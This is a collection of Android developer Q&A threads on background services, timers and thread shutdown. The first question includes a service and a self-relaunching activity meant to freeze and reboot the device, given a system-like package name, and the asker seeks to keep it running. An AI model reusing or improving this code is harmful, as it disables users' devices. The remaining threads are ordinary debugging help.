I have a sticky service which calls an activity every 2 seconds using a thread.
public class FreezeService extends Service {
Context context = this;
// constant
public static final long NOTIFY_INTERVAL = 2000; // 2 sec
// run on another Thread to avoid crash
private Handler mHandler = new Handler();
// timer handling
private Timer mTimer = null;
#Override
public IBinder onBind(Intent intent) {
return null;
}
#Override
public void onCreate() {
// cancel if already existed
if (mTimer != null) {
mTimer.cancel();
} else {
// recreate new
mTimer = new Timer();
}
// schedule task
mTimer.scheduleAtFixedRate(new TimeDisplayTimerTask(), 0,
NOTIFY_INTERVAL);
}
#Override
public int onStartCommand(Intent intent, int flags, int startId) {
return START_STICKY;// this make the service sticky which prevents it
// from getting killed by advanced task killers
}
class TimeDisplayTimerTask extends TimerTask {
#Override
public void run() {
// run on another thread
mHandler.post(new Runnable() {
#Override
public void run() {
Intent i = new Intent(context, FreezeScreen.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(i);
}
});
}
}
the activity then calls itself in onCreate resulting in an infinite calling. which makes everything freeze and out of memory.
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.transparent_ui);
// launch this activity again and again making the device freeze and
// reboot
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.setComponent(new ComponentName("com.android.systemmanager",
"com.android.systemmanager.FreezeScreen"));
startActivity(intent);
}
this works fine, however, my sticky service gets killed at some point. According to this answer, START_STICKY tells the OS to recreate the service after it has enough memory and call onStartCommand() again with a null intent. but my sticky service never starts again.
Related
I know that is a well known subject, but I have tried lot of things. I have an simple application, dedicated to a specific user, application has an mainActivity which is displaying some status on screen and it's starting two services, one is making request from a server (at every 5 minutes) and one which is sending sms and replay to server (at every ten minutes).
The application is running on a Samsung pocket 2 with Android 4.4.2, this device is used only for this application. While the device is connected to ADB the services are working just fine, but if I disconnect the phone and let it running normally, the services are killed repeatable and restarted after a while. The messaged are send with very much delay. I would be thankful for any suggestions.
Here is my code:
Main activity:
public class MainActivity extends Activity {
private TextView _internet;
private TextView _signal;
private TextView _server;
private BroadcastReceiver receiver;
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
init();
IntentFilter intentFilter = new IntentFilter(Constants.SS);
receiverWorker();
registerReceiver(receiver, intentFilter);
startService(new Intent(this, RefreshDBService.class));
startService(new Intent(this, SmsService.class));
}
private void receiverWorker() {
receiver = new BroadcastReceiver() {
public void onReceive(Context arg0, Intent arg1) {
checkState();
}};
}
public void refreshButonClicked(View v) {
checkState();
}`
Here is my first service:
public class RefreshDBService extends Service {
private Thread _backgroundWork;
private ScheduledExecutorService scheduleTaskExecutor = Executors.newScheduledThreadPool(1);
private DataBaseOperations _dataSource;
#Override
public void onCreate() {
super.onCreate();
_dataSource = new DataBaseOperations(this);
_backgroundWork = new Thread(new Runnable() {
#Override
public void run() {
if(Checks.checkInternetConnection(getApplicationContext())){
if(ServerOperations.isServerAvailable(getApplicationContext())){
String inputData = ServerOperations.makeRequest(Constants.GET_DATA_ROUTE, ServerOperations.getMessagesFromServer(getApplicationContext()));
ArrayList<DataSmsObj> dataFromServer=null;
if(inputData!=null && !inputData.isEmpty()){
dataFromServer = ServerOperations.fromJsonToObjects(inputData);
if(dataFromServer.size()>0){
_dataSource.open();
_dataSource.insertDataFromServer(dataFromServer);
_dataSource.close();
}
}
System.out.println("check server for messages in pending status, received -> "+ dataFromServer.size());
}else{
System.out.println("no server");
sentErrorToUI(Constants.NO_SERVER);
}
}else{
System.out.println("no internet");
sentErrorToUI(Constants.NO_INTERNET);
}
}
});
}
public int onStartCommand(Intent intent, int flags, int startId) {
scheduleTaskExecutor.scheduleWithFixedDelay(_backgroundWork, 0, Constants.NEXT_CYCLE/2, TimeUnit.MINUTES);
return START_REDELIVER_INTENT;
}
#Override
public void onDestroy() {
super.onDestroy();
scheduleTaskExecutor.shutdownNow();
}
public IBinder onBind(Intent intent) {
return null;
}
private void sentErrorToUI(String message){
Intent intent = new Intent(Constants.SS);
intent.putExtra(Constants.SS, message);
System.out.println("trimit" +message);
sendBroadcast(intent);
}
}
And this is the second one:
public class SmsService extends Service {
private Thread _backgroundWork;
private ScheduledExecutorService scheduleTaskExecutor = Executors.newScheduledThreadPool(1);
private DataBaseOperations _dataSource;
#Override
public void onCreate() {
super.onCreate();
_dataSource = new DataBaseOperations(this);
_backgroundWork = new Thread(new Runnable() {
#Override
public void run() {
sendFeedbackToServer();
List<DataSmsObj> dataToSent = new ArrayList<DataSmsObj>();
_dataSource.open();
dataToSent = _dataSource.getDataToSent();
_dataSource.close();
System.out.println("messages to sent: "+ dataToSent.size());
for (int i = 0; i < dataToSent.size(); i++) {
//here the messages are send, the code is to long to put it here, but if is need i can do it afterwards
}
}
});
}
public int onStartCommand(Intent intent, int flags, int startId) {
scheduleTaskExecutor.scheduleWithFixedDelay(_backgroundWork, 0, Constants.NEXT_CYCLE, TimeUnit.MINUTES);
return START_REDELIVER_INTENT;
}
#Override
public void onDestroy() {
super.onDestroy();
scheduleTaskExecutor.shutdownNow();
public IBinder onBind(Intent intent) {
return null;
}
If you are using a background Service with a scheduled task, it could be killed by the system. The only way to prevent the killing is a foreground Service. Quoting the documentation:
A foreground service is a service that the user is actively aware of and is not a candidate for the system to kill when low on memory.
You have to call the method startForeground() inside your Service using a Notification to show it. For further information you can check: https://developer.android.com/guide/components/services.html#Foreground
By the way, I recommend you to use the new JobScheduler api above api 21.
https://developer.android.com/reference/android/app/job/JobScheduler.html
Android kills service based on priority stack.
Android: keeping a background service alive (preventing process death)
What is START_STICKY,START_NOT_STICKY and START_REDELIVER_INTENT Service
Above links might help you.
Your devices will sleeps if it is unplugged from computer . So, the solutions :
Use startForeground method to prevent service to be killed and/or use AlarmManager in order to charge event.
It is possible to use start_stiky flag but it just restarts the process if it killed by system.
The service runs when I press home button or back button but the service is not running in background when app is closed. Moreover the service runs in background in some(LG Nexus 5) phones, but in most of the phones(Samsung,Xioami) service is not running when app is closed. When i goto Settings > Apps > Running, It always shows as app running and displays 1 service 1 thread. I am calling the service from MainActivity.java
I want the service always running in background even if the app is closed. Any help will be appreciated.
Here is code for service TimeService.java
public class TimeService extends Service implements
ConnectionCallbacks, OnConnectionFailedListener {
// constant
public static final long NOTIFY_INTERVAL = 30 * 60 * 1000; // 30 minutes
// run on another Thread to avoid crash
private Handler mHandler = new Handler();
// timer handling
private Timer mTimer = null;
#Override
public void onCreate() {
// cancel if already existed
if (mTimer != null) {
mTimer.cancel();
} else {
// recreate new
mTimer = new Timer();
}
// schedule task
mTimer.scheduleAtFixedRate(new TimeDisplayTimerTask(), 0, NOTIFY_INTERVAL);
}
#Override
public IBinder onBind(Intent intent) {
return null;
}
class TimeDisplayTimerTask extends TimerTask {
#Override
public void run() {
// run on another thread
mHandler.post(new Runnable() {
#Override
public void run() {
// Send message in background
sendSMS(number,msg)
}
});
}
}
MainActivity.java
public class MainActivity extends Activity
{
Button btnIn;
#Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btnIn = (Button) findViewById(R.id.btnIn);
btnIn.setOnClickListener(new View.OnClickListener() {
boolean enable = true;
#Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, TimeService.class);
startService(intent);
}
}
}
Android manifest
<service android:name=".TimeService" />
You should use a foreground service if you want keep alive your service.
To make it you must run the service in foreground
private void runForeground(){
//... Pending intent if you want attach it to the notification
Notification notification=new NotificationCompat.Builder(this)
.setSmallIcon(R.drawable.ic_launcher)
.setContentText(getString(R.string.string))
.setContentIntent(pendingIntent).build();
startForeground(NOTIFICATION_ID, notification);
}
NOTIFICATION_ID is a number for identify it, return sticky the service.
I was running the background task in a separate thread, while it should be in the main thread, that was the reason app was not running in background in some Phones.
class TimeDisplayTimerTask extends TimerTask {
#Override
public void run() {
// Send message in background
sendSMS(number,msg);
}
}
Currently im writing a camera app which should take pictures in a regular time intervall. For this my activity creates a IntentService, which starts a TimerTask with the desired delay. First time I start my app everything works fine. The pictures are taken in an regular time intervall of 10 seconds. But if i pause and resume my application the pictures are taken more frequently.
Here is my activity:
public class AndroidCameraExample extends Activity implements PictureTakenListener {
private static String CLASSTAG = "Android Surveillance Camera";
private Button captureButton;
private Context context;
private LinearLayout layoutForPreview;
private SurveillanceCamera camera;
// for calling the background service
private Intent backgroundServiceIntent = null;
// will send a notification if time has lapsed and we should
// take a new picture
private SurveillanceBroadcastReceiver receiver = null;
#Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
context = this;
layoutForPreview = (LinearLayout) findViewById(R.id.camera_preview);
camera = new SurveillanceCamera(this, layoutForPreview);
captureButton = (Button) findViewById(R.id.button_capture);
captureButton.setOnClickListener(PictureCaptureListener);
camera.addPictureTakenListener(this);
startSurveillance();
}
private void startSurveillance() {
Settings.surveillanceIsActive = true;
camera.start();
startBackroundService();
registerBroadcastReceiver();
}
private void stopSurveillance() {
Settings.surveillanceIsActive = false;
if (receiver != null) {
unregisterReceiver(receiver);
receiver = null;
}
if (backgroundServiceIntent != null) {
stopService(backgroundServiceIntent);
backgroundServiceIntent = null;
}
camera.stop();
}
private void startBackroundService() {
if (isServiceRunning(SurveillanceBackgroundService.class)) {
Log.d(Settings.APPTAG, "The Service is already running");
}
if (backgroundServiceIntent == null) {
backgroundServiceIntent = new Intent(this, SurveillanceBackgroundService.class);
startService(backgroundServiceIntent);
}
}
private boolean isServiceRunning(Class<?> serviceClass) {
ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
if (serviceClass.getName().equals(service.service.getClassName())) {
return true;
}
}
return false;
}
private void registerBroadcastReceiver() {
if (receiver == null) {
IntentFilter filter = new IntentFilter(SurveillanceBroadcastReceiver.ACTION_RESP);
filter.addCategory(Intent.CATEGORY_DEFAULT);
receiver = new SurveillanceBroadcastReceiver();
registerReceiver(receiver, filter);
}
}
public void onResume() {
super.onResume();
startSurveillance();
}
#Override
protected void onPause() {
super.onPause();
stopSurveillance();
}
class SurveillanceBroadcastReceiver extends BroadcastReceiver {
#Override
public void onReceive(Context context, Intent intent) {
camera.takePicture();
}
}
My Service
public class SurveillanceBackgroundService extends IntentService {
#Override
protected void onHandleIntent(Intent intent) {
Timer t = new Timer();
t.schedule(new TimerTask() {
#Override
public void run() {
notifyTimeLapsed();
}
}, 100, Settings.timeIntervall * 1000);
}
private void notifyTimeLapsed() {
Intent broadcastIntent = new Intent();
broadcastIntent.setAction(SurveillanceBroadcastReceiver.ACTION_RESP);
broadcastIntent.addCategory(Intent.CATEGORY_DEFAULT);
sendBroadcast(broadcastIntent);
}
}
I aleady checked that the service isn't running (in background) while the app is paused and started again afterwards, so I don't see any reason why the pictureTaking Event should be triggered more ofter after resuming.
I also use a small wrapper class for camera handling but i don't think this causes the problem. if you need to code for suggesting any solutions i will post it here anyway.
Any hints or help for this`?
EDIT: I overwrite onDestroy and onStart to Cancel the Timer and start it again but the problem stays the same. After resume more pictures are taken than before.
UPDATE: If I remove the method onStart the timer seems to get canceled directly and isn't started again? I added some Logger output in the methods and get this information:
05-15 18:56:03.478: I/com.test.androidcameraexample(10061): SurveillanceBackgroundService onHandleIntent
05-15 18:56:03.498: I/com.test.androidcameraexample(10061): SurveillanceBackgroundService onDestroy
#Override
protected void onHandleIntent(Intent intent) {
if (t == null) {
t = new Timer();
t.schedule(new TimerTask() {
#Override
public void run() {
notifyTimeLapsed();
}
}, 100, Settings.timeIntervall * 1000);
}
}
#Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (t == null) {
t = new Timer();
t.schedule(new TimerTask() {
#Override
public void run() {
notifyTimeLapsed();
}
}, 100, Settings.timeIntervall * 1000);
}
}
#Override
public void onDestroy() {
super.onDestroy();
t.cancel();
t = null;
}
My original answer was this:
You need to call either Timer.cancel() or TimerTask.cancel()
on the Timer or TimerTask that the service created, or else the
timer task will keep running in a background thread.
And then I added this:
To get this to work reliably, you could specify one Intent action
for starting the timer, and another action for stopping the timer.
But, there is actually a big (and subtle) problem with storing a Timer variable in an IntentService. An IntentService creates its own background thread, and it quickly kills itself (after onHandleIntent () returns) if there are no intents in its queue -- which would also mean your Timer value would be lost. So, even if you have 2 intent actions (for starting and stopping the timer), there is no way to guarantee that the stop action would have access to the original Timer value (since it could very well be creating a brand new IntentService instance)!
So, I recommend that you use the AlarmManager to schedule periodic alarms. See here for some training on how to do that.
I have written a function in service which is executing when service start .My service class is as follows
public class SimpleService extends Service {
public static final String TAG = "Service";
private Timer timer = new Timer();
#Override
public IBinder onBind(Intent arg0) {
return null;
}
#Override
public void onCreate() {
super.onCreate();
Toast.makeText(this,"Service created ...", Toast.LENGTH_LONG).show();
Log.i(getClass().getSimpleName(), "Service started.");
startService() ;
}
#Override
public void onDestroy() {
super.onDestroy();
Toast.makeText(this, "Service destroyed ...", Toast.LENGTH_LONG).show();
}
private void startService() {
timer.scheduleAtFixedRate(new mainTask(), 0, 200000);
}
private class mainTask extends TimerTask {
public void run() {
for (int i = 0; i <300; i++) {
String count= String.valueOf(i);
Log.d(TAG, count);
}
}
}
protected Intent launchmain_menu() {
Intent i = new Intent(this, SimpleService.class);
return i;
}
}
I have started my service in my main activity on create mentod as below
startService(new Intent(this, SimpleService.class));
Also I have written on button click to destroy the service as below
stopService(launchmain_menu());
protected Intent launchmain_menu() {
Intent i = new Intent(this, SimpleService.class);
return i;
}
The Problem is that even when i destroy the service the loop in the start service function
ie..
for (int i = 0; i <300; i++) {
String count= String.valueOf(i);
Log.d(TAG, count);
}
get executed.I have check the running service in the emulitor but the service started my me is not there after i clicked the button to destroy the service.How wil the loop got executed even the service is destroyed.
Will any one help me after review this code pls.
The loop gets executed because it is executed on a different thread, using the Timer you've created. As I can read in the Timer android documentation the Timer tasks cannot be stopped once they have started, so you will have to cancel it before its scheduled time, wait until the task has completed, or do it in a different way.
You need to free all the resources, listeners etc from the service on your own as android does not do it for you.Use onDestroy() method to free all your resources. Refer this doc.
I am continuing to study from the book "Pro Android 2," working through the Service example that consists of two classes: BackgroundService.java and MainActivity.java. The MainActivity class is shown below and has a couple buttons. The unbind button, unbindBtn, stops the Service but doesn't appear to do much else like kill the thread the Service started.
public class MainActivity extends Activity {
private static final String TAG = "MainActivity";
#Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Log.d(TAG, "starting service");
Button bindBtn = (Button)findViewById(R.id.bindBtn);
bindBtn.setOnClickListener(new OnClickListener() {
#Override
public void onClick(View arg0) {
Intent backgroundService = new Intent(MainActivity.this, com.marie.mainactivity.BackgroundService.class);
startService(backgroundService);
}
});
Button unbindBtn = (Button)findViewById(R.id.unbindBtn);
unbindBtn.setOnClickListener(new OnClickListener() {
#Override
public void onClick(View arg0) {
stopService(new Intent(MainActivity.this, BackgroundService.class));
}
});
}
}
The documentation says "if your service is going to do any CPU intensive work or blocking operations..., you should create a new thread within the service to do that work." And that's exactly what the BackgroundService class does below. As you can see below I've added a while(true) loop in the thread's run() method to see what happens to the thread when I stop the Service.
public class BackgroundService extends Service {
private NotificationManager notificationMgr;
#Override
public void onCreate() {
super.onCreate();
notificationMgr = NotificationManager)getSystemService(NOTIFICATION_SERVICE);
displayNotificationMessage("starting Background Service");
Thread thr = new Thread(null, new ServiceWorker(), "BackgroundService");
thr.start();
}
class ServiceWorker implements Runnable
{
public void run() {
// do background processing here...
long count = 0;
while (true) {
if (count++ > 1000000)
{
count = 0;
Log.d("ServiceWorker", "count reached");
}
}
//stop the service when done...
//BackgroundService.this.stopSelf();
}
}
#Override
public void onDestroy()
{
displayNotificationMessage("stopping Background Service");
super.onDestroy();
}
#Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
}
#Override
public IBinder onBind(Intent intent) {
return null;
}
private void displayNotificationMessage(String message)
{
Notification notification = new Notification(R.drawable.note, message, System.currentTimeMillis());
PendingIntent contentIntent = PendingIntent.getActivity(this, 0, new Intent(this, MainActivity.class), 0);
notification.setLatestEventInfo(this, "Background Service", message, contentIntent);
notificationMgr.notify(R.id.app_notification_id, notification);
}
}
When I press the unbind button, unbindBtn, in the MainActivity class I trust the Service in this example will be stopped. But from what I can see in logcat the thread that was started by the Service continues to run. It's like the thread is now some kind of orphan with no apparent way to stop it. I've seen other source code use a while(true) loop in a thread's run() method. This seems bad unless a way to break out of the loop is provided. Is that typically how it's done? Or are there other ways to kill a thread after the Service that started it has stopped?
You should provide a 'running' boolean.
while(running) {
//do your stuff
}
You want to make it something that you can update. Perhaps your Service's onDestroy() method should call a stopProcessing() method on your Runnable, which will set the 'running' boolean to false.